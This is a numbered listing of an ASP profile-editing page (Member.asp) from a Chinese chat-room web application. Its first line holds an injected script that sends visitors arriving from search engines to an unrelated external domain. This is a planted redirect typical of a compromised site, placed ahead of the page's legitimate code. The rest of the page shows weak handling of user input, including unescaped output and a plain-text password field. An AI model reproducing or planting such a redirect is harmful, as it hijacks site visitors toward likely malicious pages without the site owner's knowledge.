d:\wwwroot\wuchunhua\liaotianim\Member.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc/DAL.asp"-->
002: <!--#include file="inc/md5.asp"-->
003: <%
004: On Error Resume Next
005: if Session(Session_UserID_Arg)="" then RW "<script>location.href='../"&Web_Log_URL&"';</script>":response.end()
006: dim UserPic,UserPass,UserMail,UIRs,UserQQ,UserNote,UserAddP,UserAddC
007: set UIRs=Server.CreateObject( "ADODB.Recordset" )
008: UIRs.OPEN "select * from [XK_User_Info] where [User_ID]="&Session(Session_UserID_Arg) , DB_CONN , 1 , 3
009: if request.form("ac")="Sub" then
010:     if request.form("TopPic")<>"" then UserPic=request.form("TopPic")
011:     if request.form("UserPass")<>"" then UserPass=md5(request.form("UserPass"))
012:     if request.form("UserQQ")<>"" then
013:         if IsNumeric(request.form("UserQQ")) then
014:             UserQQ=request.form("UserQQ")
015:         else
016:             Rw "<script>alert('请正确填写QQ号码!');location.href='member.asp';</script>":response.end()
017:         end if
018:     end if
019:     if request.form("UserMail")<>"" then
020:         UserMail=request.form("UserMail")
021:     else
022:         Rw "<script>alert('请正确填写邮箱地址!');location.href='member.asp';</script>":response.end()
023:     end if
024:     
025:     if request.form("User_Add_Province")<>"" then UserAddP=request.form("User_Add_Province")
026:     if request.form("User_Add_City")<>"" then UserAddC=request.form("User_Add_City")
027:     if request.form("User_Note")<>"" then
028:         UserNote=request.form("User_Note")
029:         if not Valide_Str_Length(UserNote,0,200) then
030:             Rw "<script>alert('个性签名字数请保持在200以内!');location.href='member.asp';</script>":response.end()
031:         end if
032:     end if
033:
034:     if UIRs.recordcount>0 then
035:     'Rw  "<script>alert('"&UserPic&"!');</script>":response.end()
036:         UIRs("User_Pic")=UserPic
037:         if request.form("UserPass")<>"" then UIRs("User_Pass")=UserPass end if
038:         UIRs("User_Mail")=UserMail
039:         UIRs("User_Sex")=request.form("UserSex")
040:         if request.form("UserQQ")<>"" then UIRS("User_QQ")=UserQQ
041:         if request.form("User_Add_Province")<>"" then UIRs("User_Add_Province")=UserAddP
042:         if request.form("User_Add_City")<>"" then UIRs("User_Add_City")=UserAddC
043:         if request.form("User_Note")<>"" then UIRs("User_Note")=UserNote
044:         UIRs.update()
045:         UIRs.close()
046:         response.redirect "member.asp":response.end()
047:     else
048:         Rw  "<script>alert('用户不存在!');location.href='member.asp';</script>":response.end()
049:     end if
050: end if
051:
052: dim DefaultPic
053: if UIRs("User_Pic")<>"" then
054:     DefaultPic=UIRs("User_Pic")
055: else
056:     if Cstr(UIRs("User_sex"))="0" then DefaultPic="images/man.gif" else DefaultPic="images/woman.gif" end if
057: end if
058: %
>
059:
060: <html>
061: <head>
062: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
063: <title>iCenter - <%=SysConfig("System_Name")%></title>
064: <meta name="keywords" content="ImChat V1.5 Power By XKnet.net">
065: <meta name="description" content="ImChat V1.5 Power By XKnet.net">
066: <link href="CSS_Custom/style.css" rel="stylesheet" type="text/css" />
067: <script language="javascript" src="JS_Custom/pcasunzip.js"></script>
068: <style>
069:    *{font-family:"微软雅黑";}
070:    .body{ background-image:url(images/RoomBg.jpg); background-repeat:no-repeat; background-position:center 100px;}
071:    .btn{background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) repeat-x top; border: 1px solid #0D87AE!important; color: #fff; font-size: 11px; padding: 7px 10px; boirder-radius: 7px; -moz-border-radius: 7px; font-weight: 700; border: none;}
072:     .btn:hover {background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) 0 -50px; border: 1px solid #005977; cursor: pointer;}
073:     .inputbox{height:26px;}
074:     .leftnav li{text-align:center;}
075:     .leftnav li a{margin-left:20px;margin-bottom:5px;text-align:center;display:block;height:64px;line-height:64px;}
076:     .leftnav li a:hover{background-position:bottom left;}
077:     .UserInfo{background: url(images/userinfo.png) no-repeat top left;}
078:     .UserRoom{background: url(images/UserRoom.png) no-repeat top left;}
079:     .UserFriend{background: url(images/UserFriend.png) no-repeat top left;}
080:     .title{background: url(images/titlebg.png) no-repeat 0px -20px;height:300px;text-align:center;width:35px;color:#333;padding-top:20px;letter-spacing:6px;*padding-top:0px !important;_padding-top:20px;padding-left:3px;_padding-left:0px;line-height:18px;color:#555;}
081:     .title span{background: url(images/dot.png) no-repeat;padding-top:20px;width:15px;}
082:     .UserPhoto{width:100px;height:100px;margin-top:1px;margin-left:1px;}
083:     .photodiv{float:left;width:102px;*width:104px; height:102px;*height:104px;border:#ccc solid 1px;}
084:     .line{clear:both;line-height:5px;height:5px;}
085:     .text{background: none repeat scroll 0 0 transparent;border: 0 none;background-position: 0 -72px;border: 1px solid #C1C1C1;color:#444444;font-size: 14px;height: 30px;padding: 4px 5px 4px 0;width: 300px;padding-left:10px;}
086:     .itemtitle{float:left;height:28px;width:40px;line-height:28px;border:#ddd solid 1px;margin-right:3px;background: url(images/glassbg.png) bottom left no-repeat;text-align:center;color:#999}
087:     textarea{border: 1px solid #C1C1C1;background: none repeat scroll 0 0 transparent;width:300px;padding-left:10px;}
088:     select{height:30px;line-height:30px;border: 1px solid #C1C1C1;background: none repeat scroll 0 0 transparent;}
089:     .radio{}
090:     .btn-ok{background-image: url("images/global.png");background-color: transparent;background-position: 0 -288px;border: 0 none;cursor: pointer;height: 39px;margin: 10px 20px 10px 0;vertical-align: middle;width: 76px;margin-left:45px;}
091:     
092:     .png{}
093:     
094:     div{border:#ccc solid 0px;}
095: </style>
096: <script>
097: function $(obj){return document.getElementById(obj);}
098: String.prototype.trim= function(){
099:     return this.replace(/(^\s*)|(\s*$)/g, "");  
100: }
101:
102: function cPass(e)
103: {
104:     if(!(new RegExp(/^[a-zA-Z0-9_]{6,16}$/).test(e.value)))
105:     {
106:         enis(e,"6~16个字符,包括字母、数字、下划线");
107:         e.className="g-ipt g-ipt-err";
108:         return false;
109:     }
110:     else
111:     {
112:         deis(e);
113:         e.className="g-ipt";
114:         return true;
115:     }
116: }
117: function cMaill(e)
118: {
119:     if(!(new RegExp(/^[_\.0-9a-z-]+@([0-9a-z][0-9a-z-]+\.){1,4}[a-z]{2,3}$/).test(e.value)))
120:     {
121:         enis(e,"邮箱格式不正确");
122:         e.className="g-ipt g-ipt-err";
123:         return false;
124:     }
125:     else
126:     {
127:         deis(e);
128:         e.className="g-ipt";
129:         return true;
130:     }
131: }
132: function CheckForm()
133: {
134:     if(cMaill($("UserMail")) && cVcode($("Vcode")) )
135:     {
136:         RegForm.submit();
137:         return false;
138:     }
139:     else
140:     {
141:         return false;
142:     }
143: }
144:
145: function DisStatus()
146: {
147:     $("UploadStatus").style.display="none";
148: }
149: function EnsStatus()
150: {
151:     $("UploadStatus").style.display="";
152: }
153: function SetImg(str)
154: {
155:     $("UserPic").src=str;
156:     $("TopPic").value=str;
157:     //alert($("TopPic").value);
158: }
159: </script>
160: </head>
161: <body>
162: <table class="body" width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
163:   <tr height="70px">
164:     <td style="text-align:center;"><div class="top">
165:    <div style="width:90%; margin:0 auto;"><a href="index.html" style="float:left;"><img src="images/logo.gif" border="0" /></a>
166:     <a href="inc/ValidLogin.asp?Out=true" title="退出" class="logout"></a>
167:     <a href="javascript:\\;" title="加入浏览器收藏夹" onClick="window.external.AddFavorite(location.href,document.title);" class="fav"></a>
168:     <a href="RoomList.asp" title="房间列表" class="RList"></a>
169:     <a href="Member.asp" title="用户中心" class="user"></a>
170:     <a href="Pay.asp" title="充值" class="pay"></a>
171:     </div>
172:     </div></td>
173:   </tr>
174:   <tr>
175:     <td valign="top">
176:         <div style="float:left;width:7%;text-algin:center;min-width:85px;_width:85px;_overflow:visible;">
177:             <ul class="leftnav">
178:                 <li><a href="member.asp" title="我的资料" class="png UserInfo"></a></li>
179:                 <li><a href="MyRoomList.asp" title="我的房间" class="png UserRoom"></a></li>
180:                 <li><a href="#" title="我的好友" class="png UserFriend"></a></li>
181:             </ul>
182:         </div>
183:         <div style="float:left;width:4%;text-align:center;">
184:             <div style="width:100%;margin:0 auto;">
185:                 <div class="title png">
186:                     <span class="png">我的资料</span>
187:                 </div>
188:             </div>
189:         </div>
190:         <div style="float:left;width:78%;text-align:center;">
191:         <form id="RegForm" action="member.asp" method="post" onSubmit="return CheckForm();">
192:             <div style="width:90%;margin:0 auto;text-align:left;padding-top:30px;">
193:                 <div style="float:left;width:105px;text-align:center;margin-right:5px;">
194:                     <div class="photodiv"><label for="man"><img id="UserPic" src="<%=DefaultPic%>" class="UserPhoto"></label></div><div class="line"></div>
195:                     <iframe scrolling="no" frameborder="0" src="inc/TopPicUploadFrom.html" style="width:104px;height:22px;*height:20px;"></iframe>
196:                 </div> <img id="UploadStatus" src="images/status/loading.gif" style="margin-right:5px;display:none"><input type="hidden" name="TopPic" id="TopPic" value="<%=DefaultPic%>" />
197:                 <div class="line"></div>
198:                 <label class="itemtitle">角色</label><span id="UserListIcon" style="background:url(<%=GetPowerInfo(UIRs("User_Power"),"Power_Icon")%>) center center no-repeat;" title="<%=GetPowerInfo(UIRs("User_Power"),"Power_Name")%>"></span><div class="line"></div>
199:                 <label class="itemtitle">级别</label><span id="UserListIcon" style="background:url(<%=GetLevelInfo(ScoreLevel(UIRs("User_Score")),"Level_Icon")%>) center center no-repeat;" title="<%=GetLevelInfo(ScoreLevel(UIRs("User_Score")),"Level_Name")%>"></span><div class="line"></div>
200:                 <label class="itemtitle">头衔</label><%=GetTitles(UIRs("User_Title"))%><div class="line"></div>
201:                 <label class="itemtitle" for="UserPass">密码</label><input id="UserPass" type="text" name="UserPass" class="text" onChange="cPass(this)" autocomplete="off"><label style="margin-left:5px;color:#ccc;">不修改请留空</label><div class="line"></div>
202:                 <label class="itemtitle" for="UserMoney"><%=SysConfig("Money_Name")%></label><input id="UserMoney" type="text" name="UserMoney" class="text" readonly="readonly" value="<%=UIRs("User_Money")%>" ><div class="line"></div>
203:                 <label class="itemtitle" for="User_Score"><%=SysConfig("Score_Name")%></label><input id="User_Score" type="text" name="User_Score" class="text" readonly="readonly"  value="<%=UIRs("User_Score")%>"><div class="line"></div>
204:                 <label class="itemtitle "for="UserSex">性别</label>
205:                 <select id="UserSex" name="UserSex" style="width:60px;">
206:                     <option value="0" <%if Cstr(UIRs("User_Sex"))="0" then RW "selected=""selected"""%>>男</option>
207:                     <option value="1" <%if Cstr(UIRs("User_Sex"))="1" then RW "selected=""selected"""%>>女</option>
208:                 </select>
209:                 <div class="line"></div>
210:                 <label class="itemtitle" for="UserMail">邮箱</label><input id="UserMail" type="text" name="UserMail" class="text" onChange="cMaill(this)" value="<%=UIRs("User_Mail")%>"><div class="line"></div>
211:                 <label class="itemtitle" for="UserQQ">Q&nbsp;Q</label><input id="UserQQ" type="text" name="UserQQ" class="text"  value="<%=UIRs("User_QQ")%>"><div class="line"></div>
212:                 <label class="itemtitle">城市</label><select name="User_Add_Province"></select>&nbsp;<select name="User_Add_City"></select><div class="line"></div>
213:                 <script>
214:                     <%
215:                     if UIRs("User_Add_Province")<>"" then
216:                     %
>
217:                     new PCAS("User_Add_Province","User_Add_City","<%=UIRs("User_Add_Province")%>","<%=UIRs("User_Add_City")%>");
218:                     <%
219:                     else
220:                     %
>
221:                     new PCAS("User_Add_Province","User_Add_City");
222:                     <%
223:                     end if
224:                     %
>
225:                 </script>
226:                 <label class="itemtitle"  for="User_Note">签名</label><textarea id="User_Note" name="User_Note" cols="45" rows="5" maxlength="200"><%=UIRs("User_Note")%></textarea><div class="line"></div>
227:                 <input type="hidden" name="ac" value="Sub"/>
228:                 <input id="regBtn" class="btn-ok" title="提交修改" type="submit" value="">
229:             </div>
230:         </form>
231:         </div>
232:     </td>
233:   </tr>
234: </table>
235: <!--[if IE 6]>
236:     <script type='text/javascript' src='js_Custom/DD_belatedPNG_0.0.8a-min.js'></script>
237:     <script type='text/javascript'>
238:       DD_belatedPNG.fix('.png');
239:     </script>
240: <![endif]-->

241: <div style="visibility:hidden;display:none;">
242: <script type="text/javascript" src="js/ext-base.js"></script>
243: <script type="text/javascript" src="js/ext-all-debug.js"></script>
244: <img src="images/logo.gif">
245: <img src="images/dgbg.jpg">
246: <img src="css/ext-all.css">
247: <img src="css_custom/layout.css">
248: <div>
249: </body>
250: </html>
251:
252:
253:
254: